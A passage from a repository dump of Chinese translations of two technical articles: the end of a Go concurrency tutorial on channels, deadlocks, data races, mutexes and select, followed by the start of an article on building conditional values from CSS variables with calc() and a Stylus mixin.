goruntine。\n\n## 2. Channels\n\n[![Sushi conveyor belt](https://www.nada.kth.se/~snilsson/concurrency/sushi-conveyor-belt.jpg)](http://www.flickr.com/photos/erikjaeger/35008017/) \n\n寿司输送带\n\n[channel](https://golang.org/ref/spec#Channel_types) 是一种 Go 语言结构,它通过传递特定元素类型的值来为两个 goroutines 提供同步执行和交流数据的机制\n。 `<-` 标识符表示了channel的传输方向，接收或者发送。如果没有指定方向。那么 channel 就是双向的。\n\n\n```\nchan Sushi      // 能被用于接收和发送 Sushi 类型的值\nchan<- float64  // 只能被用于发送 float64 类型的值\n<-chan int      // 只能被用于接收 int 类型的值\n```\n\nChannels 是一种被 make 分配的引用类型\n\n```\nic := make(chan int)        // 不带缓存的  int channel\nwc := make(chan *Work, 10)  // 带缓冲工作的 channel\n```\n\n通过 channel 发送值，可使用 <- 作为二元运算符。通过 channel 接收值，可使用它作为一元运算符。\n\n```\nic <- 3       // 向channel中发送3\nwork := <-wc  // 从channel中接收指针到work\n```\n\n如果 channel 是无缓冲的，发送者会一直阻塞直到有接收者从中接收值。如果是带缓冲的，只有当值被拷贝到缓冲区且缓冲区已满时，发送者才会阻塞直到有接收者从中接收。接收者会一直阻塞直到 channel 中有值可被接收。\n\n### 关闭\n\n[`close`](https://golang.org/ref/spec#Close) 的作用是保证不能再向 channel 中发送值。 channel 被关闭后，仍然是可以从中接收值的。接收操作会获得零值而不会阻塞。多值接收操作会额外返回一个布尔值，表示该值是否被发送的。\n\n```\nch := make(chan string)\ngo func() {\n    ch <- \"Hello!\"\n    close(ch)\n}()\nfmt.Println(<-ch)  // 打印 \"Hello!\"\nfmt.Println(<-ch)  // 不阻塞的打印空值 \"\"\nfmt.Println(<-ch)  // 再一次打印 \"\"\nv, ok := <-ch      // v 的值是 \"\" , ok 的值是 false\n```\n\n伴有 range 分句的 for 语句会连续读取通过 channel 发送的值，直到 channel 被关闭\n\n```\nfunc main() {\n    var ch <-chan Sushi = Producer()\n    for s := range ch {\n        fmt.Println(\"Consumed\", s)\n    }\n}\n\nfunc Producer() <-chan Sushi {\n    ch := make(chan Sushi)\n    go func() {\n        ch <- Sushi(\"海老握り\")  // Ebi nigiri\n        ch <- Sushi(\"鮪とろ握り\") // Toro nigiri\n        close(ch)\n    }()\n    return ch\n}\n```\n\n[sushi.go](https://www.nada.kth.se/~snilsson/concurrency/src/sushi.go)\n\n## 3.同步\n\n下一个例子中，`Publish` 函数返回一个channel，它会把发送的文本当做消息广播出去。\n\n```\n// 指定时间过期后函数Publish将会打印文本到标准输出.\n// 当文本被发布channel将会被关闭.\nfunc Publish(text string, delay time.Duration) (wait <-chan struct{}) {\n    ch := make(chan struct{})\n    go func() {\n        time.Sleep(delay)\n        fmt.Println(\"BREAKING NEWS:\", text)\n        close(ch) // broadcast – a closed channel sends a zero value forever\n    }()\n    return ch\n}\n```\n\n[publish2.go](https://www.nada.kth.se/~snilsson/concurrency/src/publish2.go)\n\n注意我们使用一个空结构的 channel : `struct{}`。 这表明该 channel 仅仅用于信号，而不是传递数据。\n\n你可能会这样使用该函数\n\n```\nfunc main() {\n    wait := Publish(\"Channels let goroutines communicate.\", 5*time.Second)\n    fmt.Println(\"Waiting for the news...\")\n    <-wait\n    fmt.Println(\"The news is out, time to leave.\")\n}\n```\n\n[publish2.go](https://www.nada.kth.se/~snilsson/concurrency/src/publish2.go)\n\n程序将按给出的顺序打印下列三行信息。在信息发送后，最后一行会立刻出现\n\n```\n$ go run publish2.go\nWaiting for the news...\nBREAKING NEWS: Channels let goroutines communicate.\nThe news is out, time to leave.\n```\n\n## 4.死锁\n\n[![traffic jam](https://www.nada.kth.se/~snilsson/concurrency/traffic-jam.jpg)](http://www.flickr.com/photos/lasgalletas/263909727/)\n\n让我们去介绍 `Publish` 函数中的一个bug。\n\n```\nfunc Publish(text string, delay time.Duration) (wait <-chan struct{}) {\n    ch := make(chan struct{})\n    go func() {\n        time.Sleep(delay)\n        fmt.Println(\"BREAKING NEWS:\", text)\n        **//close(ch)**\n    }()\n    return ch\n}\n```\n\n这时由 `Publish` 函数开启的 goroutine 打印重要信息然后退出，留下主 goroutine 继续等待。\n\n```\nfunc main() {\n    wait := Publish(\"Channels let goroutines communicate.\", 5*time.Second)\n    fmt.Println(\"Waiting for the news...\")\n    **<-wait**\n    fmt.Println(\"The news is out, time to leave.\")\n}\n```\n\n在某些情况下，程序将不会有任何进展，这种情况被称为死锁。\n\n>_deadlock_ 是线程之间相互等待而都不能继续执行的一种情况\n\n在运行时，Go 对于运行时死锁检测具有良好支持。但在某种情况下goroutine无法取得任何进展，这时Go程序会提供一个详细的错误信息. 下面就是我们崩溃程序的日志:\n\n```\nWaiting for the news...\nBREAKING NEWS: Channels let goroutines communicate.\nfatal error: all goroutines are asleep - deadlock!\n\ngoroutine 1 [chan receive]:\nmain.main()\n    .../goroutineStop.go:11 +0xf6\n\ngoroutine 2 [syscall]:\ncreated by runtime.main\n    .../go/src/pkg/runtime/proc.c:225\n\ngoroutine 4 [timer goroutine (idle)]:\ncreated by addtimer\n    .../go/src/pkg/runtime/ztime_linux_amd64.c:73\n```\n\n多数情况下下，在 Go 程序中很容易搞清楚是什么导致了死锁。接着就是如何去修复它了。\n\n## 5. 数据竞争\n\n死锁可能听起来很糟糕, 但是真正给并发编程带来灾难的是数据竞争。它们相当常见，而且难于调试。\n\n> 一个 _数据竞争_ 发生在当两个线程并发访问相同的变量,同时最少有一个访问是在写.\n\n数据竞争是没有规律的。举个例子，打印数字1，尝试找出它是如何发生的 — 一个可能的解释是在代码之后.\n\n```\nfunc race() {\n    wait := make(chan struct{})\n    n := 0\n    go func() {\n        **n++** // 一次操作：读,增长,写\n        close(wait)\n    }()\n    **n++** // 另一个冲突访问\n    <-wait\n    fmt.Println(n) // 输出: 不确定\n}\n```\n\n[datarace.go](https://www.nada.kth.se/~snilsson/concurrency/src/datarace.go)\n\n两个goroutines, `g1` 和 `g2`, 在竞争过程中，我们无法知道他们执行的顺序.下面只是许多可能的结果性的一种.\n\n* `g1` 从`n`变量中读取值`0`\n* `g2` 从`n`变量中读取值`0`\n* `g1` 增加它的值从`0`变为`1`\n* `g1` 把它的值把`1`赋值给`n`\n* `g2` 增加它的值从`0`到`1`\n* `g2` 把它的值把`1`赋值给`n`\n* 这段程序将会打印n的值,它的值为`1`\n\n\"数据竞争” 的称呼多少有些误导，不仅仅是他的执行顺序无法被设定，而且也无法保证接下来会发生的情况。编译器和硬件时常会为了更好的性能而调整代码的顺序。如果你仔细观察一个正在运行的线程,那么你才可能会看到更多细节。\n\n[![mid action](https://www.nada.kth.se/~snilsson/concurrency/mid-action.jpg)](http://www.flickr.com/photos/brandoncwarren/2953838847/)\n\n避免数据竞争的唯一方式是同步操作在线程间所有共享的可变数据。存在几种方式，在Go中,可能最多使用 channel 或者 lock。较底层的操作可使用 [`sync`](https://golang.org/pkg/sync/) and [`sync/atomic`](https://golang.org/pkg/sync/atomic/) 包，这里不再讨论。\n\n在Go中，处理并发数据访问的首选方式是使用一个 channel，它将数据从一个goroutine传递到另一个goroutine。有一句经典的话:\"不要通过共享内存来传递数据;而要通过传递数据来共享内存\"。\n\n```\nfunc sharingIsCaring() {\n    ch := make(chan int)\n    go func() {\n        n := 0 // 局部变量只能对当前 goroutine 可见\n        n++\n        ch <- n // 数据通过 goroutine 传递\n    }()\n    n := <-ch   // ...从另外一个 goroutine 中安全接受\n    n++\n    fmt.Println(n) // 输出: 2\n}\n```\n\n[datarace.go](https://www.nada.kth.se/~snilsson/concurrency/src/datarace.go)\n\n在这份代码中 channel 充当了双重角色。它作为一个同步点，在不同 goroutine 中传递数据。发送的 goroutine 将会等待其它的 goroutine 去接收数据,而接收的 goroutine 将会等待其他的 goroutine 去发送数据。\n\n[Go内存模型](https://golang.org/ref/mem) - 当一个 goroutine 在读一个变量,另外一个goroutine在写相同的变量，这个过程实际上是非常复杂的,但是只要你用 channel 在不同goroutines中共享数据,那么这个操作就是安全的。\n\n## 6. 互斥锁\n\n[![lock](https://www.nada.kth.se/~snilsson/concurrency/lock.jpg)](http://www.flickr.com/photos/dzarro72/7187334179/)\n\n有时通过直接锁定来同步数据比使用 channel 更加方便。为此，Go 标准库提供了互斥锁[sync.Mutex](https://golang.org/pkg/sync/#Mutex)。\n\n要让这种类型的锁正确工作，所有对于共享数据的操作（包括读和写）必须在一个 goroutine 持有该锁时进行。这一点至关重要，goroutine 的一次错误就足以破坏程序和导致数据竞争。\n\n因此你需要为API去设计一种定制化的数据结构，并且确保所有同步操作都在内部执行。在这个例子中，我们构建了一种安全易用的并发数据结构，`AtomicInt`，它存储了单个整型，任何goroutines 都能安全的通过 `Add` 和 `Value` 方法访问数字。\n\n```\n// AtomicInt 是一种持有int类型的支持并发的数据结构。\n// 它的初始化值为0.\ntype AtomicInt struct {\n    mu sync.Mutex // 同一时间只能有一个 goroutine 持有锁。\n    n  int\n}\n\n// Add adds n to the AtomicInt as a single atomic operation.\n// 原子性的将n增加到AtomicInt中\nfunc (a *AtomicInt) Add(n int) {\n    a.mu.Lock() // 等待锁被释放然后获取。\n    a.n += n\n    a.mu.Unlock() // 释放锁。\n}\n\n// 返回a的值.\nfunc (a *AtomicInt) Value() int {\n    a.mu.Lock()\n    n := a.n\n    a.mu.Unlock()\n    return n\n}\n\nfunc lockItUp() {\n    wait := make(chan struct{})\n    var n AtomicInt\n    go func() {\n        n.Add(1) // one access\n        close(wait)\n    }()\n    n.Add(1) // 另一个并发访问\n    <-wait\n    fmt.Println(n.Value()) // Output: 2\n}\n```\n\n[datarace.go](https://www.nada.kth.se/~snilsson/concurrency/src/datarace.go)\n\n## 7. 检测数据竞争\n\n竞争有时候难以检测。当我执行这段存在数据竞争的程序,它打印`55555`。再试一次,可能会得到不同的结果。 [`sync.WaitGroup`](https://golang.org/pkg/sync/#WaitGroup)是go标准库的一部分;它等待一系列 goroutines 执行结束。\n\n```\nfunc race() {\n    var wg sync.WaitGroup\n    wg.Add(5)\n    for i := 0; i < 5; **i++** {\n        go func() {\n            **fmt.Print(i)** // 局部变量i被6个goroutine共享\n            wg.Done()\n        }()\n    }\n    wg.Wait() // 等待5个goroutine执行结束\n    fmt.Println()\n}\n```\n\n[raceClosure.go](https://www.nada.kth.se/~snilsson/concurrency/src/raceClosure.go)\n\n对于输出 `55555` 较为合理的解释是执行 `i++` 操作的 goroutine 在其他 goroutines 打印之前就已经执行了5次。事实上，更新后的 `i` 对于其他 goroutines 可见是随机的。\n\n一个非常简单的解决办法是通过使用本地变量作为参数的方式去启动另外的goroutine。\n\n```\nfunc correct() {\n    var wg sync.WaitGroup\n    wg.Add(5)\n    for i := 0; i < 5; i++ {\n        go func(n int) { // 局部变量。\n            fmt.Print(n)\n            wg.Done()\n        }(i)\n    }\n    wg.Wait()\n    fmt.Println()\n}\n```\n\n[raceClosure.go](https://www.nada.kth.se/~snilsson/concurrency/src/raceClosure.go)\n\n这段代码是正确的，他打印了期望的结果，`24031`。回想一下,在不同 goroutines 中,程序的执行顺序是乱序的。\n\n我们仍然可以使用闭包去避免数据竞争。但是我们需要注意在每个 goroutine 中需要有不同的变量。\n\n```\nfunc alsoCorrect() {\n    var wg sync.WaitGroup\n    wg.Add(5)\n    for i := 0; i < 5; i++ {\n        n := i // 为每个闭包创建单独的变量\n        go func() {\n            fmt.Print(n)\n            wg.Done()\n        }()\n    }\n    wg.Wait()\n    fmt.Println()\n}\n```\n\n[raceClosure.go](https://www.nada.kth.se/~snilsson/concurrency/src/raceClosure.go)\n\n## 7. 自动竞争检测\n\n总的来说.我们不可能自动的发现所有的数据竞争。但是 Go(从1.1版本开始) 提供了一个强大的数据竞争检测器 [data race detector](http://tip.golang.org/doc/articles/race_detector.html)。\n\n这个工具使用下来非常简单: 仅仅增加 `-race` 到 `go` 命令后。运行上述程序将会自动检查并且打印出下面的输出信息。\n\n```\n$ go run -race raceClosure.go \nData race:\n==================\nWARNING: DATA RACE\nRead at 0x00c420074168 by goroutine 6:\n  main.race.func1()\n      ../raceClosure.go:22 +0x3f\n\nPrevious write at 0x00c420074168 by main goroutine:\n  main.race()\n      ../raceClosure.go:20 +0x1bd\n  main.main()\n      ../raceClosure.go:10 +0x2f\n\nGoroutine 6 (running) created at:\n  main.race()\n      ../raceClosure.go:24 +0x193\n  main.main()\n      ../raceClosure.go:10 +0x2f\n==================\n12355\nCorrect:\n01234\nAlso correct:\n01234\nFound 1 data race(s)\nexit status 66\n```\n\n这个工具发现在程序20行存在数据竞争，一个goroutine向某个变量写值，而22行存在另外一个 goroutine 在不同步的读取这个变量的值。\n\n注意这个工具只能找到实际执行时发生的数据竞争。\n\n## 8. Select 语句\n\n在 Go 并发编程中,最后讲的一个是 [select](https://golang.org/ref/spec#Select_statements) 语句。它会挑选出一系列通信操作中能够执行的操作。如果任意的通信操作都可执行，则会随机挑选一个并执行相关的语句。否则，如果也没有默认执行语句的话，则会阻塞直到其中的任意一个通信操作能够执行。\n\n这有一个例子,显示了如何用 select 去随机生成数字.\n\n```\n// RandomBits 返回产生随机位数的channel\nfunc RandomBits() <-chan int {\n    ch := make(chan int)\n    go func() {\n        for {\n            select {\n            case ch <- 0: // 没有相关操作语句\n            case ch <- 1:\n            }\n        }\n    }()\n    return ch\n}\n```\n\n[randBits.go](https://www.nada.kth.se/~snilsson/concurrency/src/randBits.go)\n\n更简单，这里 select 被用于设置超时。这段代码只能打印 news 或者 time-out 消息,这取决于两个接收语句中谁可以执行.\n\n```\nselect {\ncase news := <-NewsAgency:\n    fmt.Println(news)\ncase <-time.After(time.Minute):\n    fmt.Println(\"Time out: no news in one minute.\")\n}\n```\n\n\n[`time.After`](https://golang.org/pkg/time/#After)是 go 标准库的一部分;他等待特定时间过去，然后将当前时间发送到返回的 channel.\n\n\n\n## 9. 最基本的并发实例\n\n[![couples](https://www.nada.kth.se/~snilsson/concurrency/couples.jpg)](http://www.flickr.com/photos/julia_manzerova/4617019027/)\n\n多花点时间仔细理解这个例子。当你完全理解它,你将会彻底的理解 Go 内部的并发工作机制。\n\n程序演示了单个 channel 同时发送和接受多个 goroutines 的数据。它也展示了 select 语句如何从多个通信操作中选择执行。\n\n```\nfunc main() {\n    people := []string{\"Anna\", \"Bob\", \"Cody\", \"Dave\", \"Eva\"}\n    match := make(chan string, 1) // 给未匹配的元素预留空间\n    wg := new(sync.WaitGroup)\n    for _, name := range people {\n        wg.Add(1)\n        go Seek(name, match, wg)\n    }\n    wg.Wait()\n    select {\n    case name := <-match:\n        fmt.Printf(\"No one received %s’s message.\\n\", name)\n    default:\n        // 没有待处理的发送操作.\n    }\n}\n\n// 寻求发送或接收匹配上名称名称的通道,并在完成后通知等待组.\nfunc Seek(name string, match chan string, wg *sync.WaitGroup) {\n    select {\n    case peer := <-match:\n        fmt.Printf(\"%s received a message from %s.\\n\", name, peer)\n    case match <- name:\n        // 等待其他人接受消息.\n    }\n    wg.Done()\n}\n```\n\n[matching.go](https://www.nada.kth.se/~snilsson/concurrency/src/matching.go)\n\n实例输出:\n\n```\n$ go run matching.go\nAnna received a message from Eva.\nCody received a message from Bob.\nNo one received Dave’s message.\n```\n\n## 10. 并行计算\n\n[![CPUs](https://www.nada.kth.se/~snilsson/concurrency/cpus.jpg)](http://www.flickr.com/photos/somegeekintn/4819945812//)\n\n具有并发特性应用会将一个大的计算划分为小的计算单元，每个计算单元都会单独的工作。\n\n多 CPU 上的分布式计算不仅仅是一门科学，更是一门艺术。\n\n* 每个计算单元执行时间大约在100us至1ms之间.如果这些单元太小,那么分配问题和管理子模块的开销可能会增大。如果这些单元太大，整个的计算体系可能会被一个小的耗时操作阻塞。很多因素都会影响计算速度，比如调度，程序终端，内存布局(注意工作单元的个数和 CPU 的个数无关)。\n\n* 尽量减少数据共享的量。并发写入是非常消耗性能的，特别是多个 goroutines 在不同CPU上执行时。共享数据读操作对性能影响不是很大。\n\n* 数据的合理组织是一种高效的方式。如果数据保存在缓存中，数据的加载和存储的速度将会大大加快。再次强调，这对写操作来说是非常重要的。\n\n下面的例子将会显示如何将多个耗时计算分配到多个可用的 CPU 上。这就是我们想要优化的代码。\n\n```\ntype Vector []float64\n\n// Convolve computes w = u * v, where w[k] = Σ u[i]*v[j], i + j = k.\n// Precondition: len(u) > 0, len(v) > 0.\nfunc Convolve(u, v Vector) Vector {\n    n := len(u) + len(v) - 1\n    w := make(Vector, n)\n\n    for k := 0; k < n; k++ {\n        w[k] = mul(u, v, k)\n    }\n    return w\n}\n\n// mul returns Σ u[i]*v[j], i + j = k.\nfunc mul(u, v Vector, k int) float64 {\n    var res float64\n    n := min(k+1, len(u))\n    j := min(k, len(v)-1)\n    for i := k - j; i < n; i, j = i+1, j-1 {\n        res += u[i] * v[j]\n    }\n    return res\n}\n```\n\n这个想法很简单：识别适合大小的工作单元，然后在单独的 goroutine 中运行每个工作单元. 这就是 `Convolve` 的并发版本.\n\n```\nfunc Convolve(u, v Vector) Vector {\n    n := len(u) + len(v) - 1\n    w := make(Vector, n)\n\n    // 将w划分为多个将会计算100us-1ms时间计算的工作单元\n    size := max(1, 1000000/n)\n\n    var wg sync.WaitGroup\n    for i, j := 0, size; i < n; i, j = j, j+size {\n        if j > n {\n            j = n\n        }\n        // goroutines只为读共享内存.\n        wg.Add(1)\n        go func(i, j int) {\n            for k := i; k < j; k++ {\n                w[k] = mul(u, v, k)\n            }\n            wg.Done()\n        }(i, j)\n    }\n    wg.Wait()\n    return w\n}\n```\n\n[convolution.go](https://www.nada.kth.se/~snilsson/concurrency/src/convolution.go)\n\n当定义好计算单元，通常最好将调度留给程序执行和操作系统。然而,在 Go1.*版本中，你需要指定 goroutines 的个数。\n\n```\nfunc init() {\n    numcpu := runtime.NumCPU()\n    runtime.GOMAXPROCS(numcpu) // 尽量使用所有可用的 CPU\n}\n```\n\n[Stefan Nilsson](https://plus.google.com/+StefanNilsson/about?rel=author)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/conditions-for-css-variables.md",
    "content": "> * 原文地址：[Conditions for CSS Variables](http://kizu.ru/en/fun/conditions-for-css-variables/)\n* 原文作者：[Roman Komarov](https://twitter.com/kizmarh)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[rottenpen](https://github.com/rottenpen)\n* 校对者：[cyseria](https://github.com/cyseria) [Tina92](https://github.com/Tina92)\n\n# CSS 变量的条件\n\n我将从这里开始：[不是这](#not-those)（这是一个名为“[ CSS 的条件规则](https://www.w3.org/TR/css3-conditional/)模块”，但不要期望着它能包含 CSS 的变量 —— 它涵盖了一些 @规则（at-rules）。甚至有一个关于 `@when`/`@else` @规则的[提议](https://tabatkins.github.io/specs/css-when-else/)，再次，与变量没有什么共同点。）[](#x) 规范使用 [ CSS 变量](https://www.w3.org/TR/css-variables-1/) 的条件。我认为这是在规范里的一个重大缺陷。因为变量已经提供了许多以前无法实现的东西。没有条件是真的令人沮丧，因为它们可能有很多用途。\n\n但如果我们现在需要那些虚构的条件语句用在 CSS 变量上呢？好，正如一些其他的 CSS 参考手册，我们可以在相同情况下进行 hack 。\n\n## [](#the-problem-39-s-definition)问题的定义\n\n因此，我们需要的是一种简单的 CSS 变量使用方法，为不同的值设定不同的 CSS 特征。但这种方法并不能直接源于变量（就是说——它们的值不能通过我们的变量计算出来）。这时候我们需要规定**条件**。\n\n## [](#using-calculations-for-binary-conditions)使用二元条件的计算\n\n长话短说，我马上就介绍解决方法给你，稍后还有它的解释：\n\n    :root {\n        --is-big: 0;\n    }\n\n    .is-big {\n        --is-big: 1;\n    }\n\n    .block {\n        padding: calc(\n            25px * var(--is-big) +\n            10px * (1 - var(--is-big))\n        );\n        border-width: calc(\n            3px * var(--is-big) +\n            1px * (1 - var(--is-big))\n        );\n    }\n\n在这个例子中，我们将所有的 `.block` 元素设定 padding 为 `10px` ， border 设定为 `1px` ，一旦这些元素的 `--is-big` 变量值等于`1`，它们的值会分别变为 `25px` 和 `3px`。\n\n想跳过这个机制相当简单：我们可以在使用到 'calc()' 的计算中，基于变量的值选择保留其中一个有可能的值并且废除另一个值，该值可以是 '1' 或 '0'。换句话说，我们会在一个案例中遇到 `25px * 1 + 10px * 0` ，而在另外一个案例中遇到 `25px * 0 + 10px * 1`。\n\n## [](#more-complex-conditions)更复杂的条件\n\n我们使用此方法不仅可以从 2 个有可能的值中选择，而且可以从 3 个或更多个值中进行选择。然而，每添加一个新的可能值，都会使计算更加复杂。为了在 3 个可能值之间进行选择，它将看起来像这样：\n\n    .block {\n        padding: calc(\n            100px * (1 - var(--foo)) * (2 - var(--foo)) * 0.5 +\n             20px * var(--foo) * (2 - var(--foo)) +\n              3px * var(--foo) * (1 - var(--foo)) * -0.5\n        );\n    }\n\n这里变量 `-foo` 可以接受 `0` ， `1` 和 `2` ，并且相应的将元素的 padding 设为 `100px`，`20px`或`3px`。\n\n原理是一样的：我们只需要将每个可能的值乘以一个表达式，当这个值的条件是我们需要的值时，该值等于`1`，在其他情况下为`0`。并且这个表达式可以很容易地组成：我们只需要使我们的条件变量的每个其他可能的值无效而已。 这样做后，我们需要在那里添加触发值，看看是否需要调整结果，使其等于 1\\。就是这样。\n\n### [](#a-possible-trap-in-the-specs)在规格中可能的陷阱\n\n随着这种计算复杂性的增加，在某个点，它们有可能失效。为什么？这个笔记在[规范中](https://drafts.csswg.org/css-values-3/#calc-syntax):\n\n> 用户代理必须支持至少20个术语的 calc（） 表达式，其中每个数字，尺寸描述或百分比都是一个术语。如果 calc（） 表达式中包含的术语超过了这个范围，则必须视其无效。\n\n当然，我测试过这一点，在我测试的浏览器中没找到这样的限制。但在你写一些真正复杂的代码时候，或者未来一些浏览器引入这个限制的时候可能，就有机会达到这个限制了，所以在使用真正复杂的计算时你要小心了。\n\n## [](#conditions-for-colors)颜色的条件\n\n你可以看到，这些数值只能用于你可以 **计算** 的东西，所以我们没有办法使用它来切换 `display` 属性或任何其他非数字的值。但是颜色怎么样？实际上，我们可以计算颜色的各个组成部分。可悲的是，现在它只能在 Webkits 和 Blinks 中工作，例如 [ Firefox 还不支持](https://bugzilla.mozilla.org/show_bug.cgi?id=984021 \"Bugzilla ticket\") 在 `rgba()` 里使用 `calc()` 和其他数学函数。\n\n不过当支持将在哪里（或者如果你想在浏览器中使用现有的支持进行实验时），我们可以做这样的事情：\n\n    :root {\n        --is-red: 0;\n    }\n\n    .block {\n        background: rgba(\n            calc(\n                255*var(--is-red) +\n                0*(1 - var(--is-red))\n                ),\n            calc(\n                0*var(--is-red) +\n                255*(1 - var(--is-red))\n                ),\n            0, 1);\n    }\n\n这里我们默认使用灰色，如果 `--is-red` 被设置为 `1` ，则为红色（请注意，该组件可以是零，我们可以忽略它，使制作出来的代码更紧凑，这里我保留了那些关于清晰度的算法）。\n\n正如你可以在任何组件进行这些计算，你完全可以为任何颜色创建这些条件（甚至可以是渐变色，你应该尝试！）。\n\n### [](#another-trap-in-the-specs)规范中的另一个陷阱\n\n当我测试颜色的条件如何工作，我发现了一个**真正**[规格中的奇怪限制](#issue-resolved) (Tab Atkins 的这个[问题](https://github.com/kizu/kizu.github.com/issues/186) 与颜色组件是固定的规格（但浏览器尚未支持）。好极了！另外他说，作为另一个解决方案，我们可以使用 `rgba` 里面的百分比，我完全忘了这个功能，哈哈。)[](#x). 这叫做 [“Type Checking”](https://twitter.com/kizmarh/status/788504161864261632)。我现在正式地讨厌它了。这意味着如果属性只接受 `<integer>` 作为值，或者你在 `calc()` 里面有任何分割或非整数，哪怕结果是整数, “resolved type” 都不会是 `<integer>` ，它将是 `<integer>` ，这意味着这些属性不会接受这样的值。当我们计算涉及两个以上的可能值时，我们需要一个非整数修饰符。这将使我们的计算对于使用颜色或其他只有整数的属性（如 `z-index` ）无效。\n\n如下所示:\n\n    calc(255 * (1 - var(--bar)) * (var(--bar) - 2) * -0.5)\n\n这在 `rgba（）` 里面是无效的。 最初我认为这种行为是一个错误，特别是知道颜色函数实际接受的值是怎样超出可能范围的值（你可以做 `rgba（9001，+9001，-9001，42）` ，并得到一个有效的黄色），但这类东西似乎太难以让浏览器来处理。\n\n#### [](#solutions-)解决方案？\n\n有一个不怎么完美的解决方案。在我们的例子中，我们知道期望的值和有问题的修饰符，我们可以预先计算它们，然后四舍五入。是的，这意味着结果值可能不完全相同，因为我们将失去一些精度在某些情况下。但它比没有什么好，对吧？\n\n但是有另一个解决方案可以用于颜色 —— 我们可以使用 `hsla` 取代 `rgba` ，因为它不接受整数，而是数字和百分比，因此类型解析中不会有冲突。但是对于其他属性，如 `z-index` ，解决方案将不工作。但即使使用这种方法，如果你要将 `rgb` 转换为 `hsl` ，仍然会有一些精度的损失。但是应该比以前的解决方案少。\n\n## [](#preprocessing)预处理\n当条件是二进制时，你仍然可以用手写。但是当我们开始使用更复杂的条件时，或者当我们得到颜色时，我们最好有一些工具，使写入更容易。幸运的是，我们有预处理器。\n\n\n这里是我设法做的 [Stylus](#pen) (你可以看看 [ CodePen 里的这个代码](http://codepen.io/kizu/pen/zKmyvG) )[](#x)：\n\n    conditional($var, $values...)\n      $result = ''\n\n      // If there is only an array passed, use its contents\n      if length($values) == 1\n        $values = $values[0]\n\n      // Validating the values and check if we need to do anything at all\n      $type = null\n      $equal = true\n\n      for $value, $i in $values\n        if $i > 0 and $value != $values[0]\n          $equal = false\n\n        $value_type = typeof($value)\n        $type = $type || $value_type\n        if !($type == 'unit' or $type == 'rgba')\n          error('Conditional function can accept only numbers or colors')\n\n        if $type != $value_type\n          error('Conditional function can accept only same type values')\n\n      // If all the values are equal, just return one of them\n      if $equal\n        return $values[0]\n\n      // Handling numbers\n      if $type == 'unit'\n        $result = 'calc('\n        $i_count = 0\n        for $value, $i in $values\n          $multiplier = ''\n          $modifier = 1\n          $j_count = 0\n          for $j in 0..(length($values) - 1)\n            if $j != $i\n              $j_count = $j_count + 1\n              // We could use just the general multiplier,\n              // but for 0 and 1 we can simplify it a bit.\n              if $j == 0\n                $modifier = $modifier * $i\n                $multiplier = $multiplier + $var\n              else if $j == 1\n                $modifier = $modifier * ($j - $i)\n                $multiplier = $multiplier + '(1 - ' + $var + ')'\n              else\n                $modifier = $modifier * ($i - $j)\n                $multiplier = $multiplier + '(' + $var + ' - ' + $j + ')'\n\n              if $j_count  0 ? ' + ' : '') + $value + ' * ' + $multiplier\n            $i_count = $i_count + 1\n\n        $result = $result + ')'\n\n      // Handling colors\n      if $type == 'rgba'\n        $hues = ()\n        $saturations = ()\n        $lightnesses = ()\n        $alphas = ()\n\n        for $value in $values\n          push($hues, unit(hue($value), ''))\n          push($saturations, saturation($value))\n          push($lightnesses, lightness($value))\n          push($alphas, alpha($value))\n\n        $result = 'hsla(' + conditional($var, $hues) + ', ' + conditional($var, $saturations) + ', ' + conditional($var, $lightnesses) + ', ' + conditional($var, $alphas) +  ')'\n\n      return unquote($result)\n\n\n是的，这有很多代码，但是这个 mixin 可以生成包括数字和颜色在内的多种有可能的条件。\n\n它的使用方法很简单:\n\n    border-width: conditional(var(--foo), 10px, 20px)\n\n\n第一个参数是我们的变量，第二个参数当变量等于 `0` 时应用的值，第三个是当它等于`1`时......\n\n这个调用会产生正确的条件：\n\n    border-width: calc(10px * (1 - var(--foo)) + 20px * var(--foo));\n\n这里是一个更加复杂的颜色条件例子：\n\n    color: conditional(var(--bar), red, lime, rebeccapurple, orange)\n\n这还会产生一些你肯定不想手写的东西：\n\n    color: hsla(calc(120 * var(--bar) * (var(--bar) - 2) * (var(--bar) - 3) * 0.5 + 270 * var(--bar) * (1 - var(--bar)) * (var(--bar) - 3) * 0.5 + 38.82352941176471 * var(--bar) * (1 - var(--bar)) * (var(--bar) - 2) * -0.16666666666666666), calc(100% * (1 - var(--bar)) * (var(--bar) - 2) * (var(--bar) - 3) * 0.16666666666666666 + 100% * var(--bar) * (var(--bar) - 2) * (var(--bar) - 3) * 0.5 + 49.99999999999999% * var(--bar) * (1 - var(--bar)) * (var(--bar) - 3) * 0.5 + 100% * var(--bar) * (1 - var(--bar)) * (var(--bar) - 2) * -0.16666666666666666), calc(50% * (1 - var(--bar)) * (var(--bar) - 2) * (var(--bar) - 3) * 0.16666666666666666 + 50% * var(--bar) * (var(--bar) - 2) * (var(--bar) - 3) * 0.5 + 40% * var(--bar) * (1 - var(--bar)) * (var(--bar) - 3) * 0.5 + 50% * var(--bar) * (1 - var(--bar)) * (var(--bar) - 2) * -0.16666666666666666), 1);\n\n注意，没有检测 `<integer>` 接受属性，所以它不能用于 `z-index` 等，但是它已经将颜色转换为 `hsla（）` ，使它们可控（即使技术可以增强，这种转换仍将发生，只有当它将需要）。另一件事我没有实现在这个 mixin（还没？）是使用 CSS 变量的值的能力。 这对于非整数是可能的，因为那些值将如条件计算中那样插入。也许，当我找到时间时，我将修复 mixin ，使它不仅接受数字或颜色，而且接受变量。目前仍然可以使用本文中解释的算法。\n\n## [](#fallbacks)后退\n\n当然，如果你计划实际使用这个，你需要有一个方法来设置回退。对于不支持变量的浏览器，很简单：只需在条件声明之前声明 fallback 值：\n\n    .block {\n        padding: 100px; /* fallback */\n        padding: 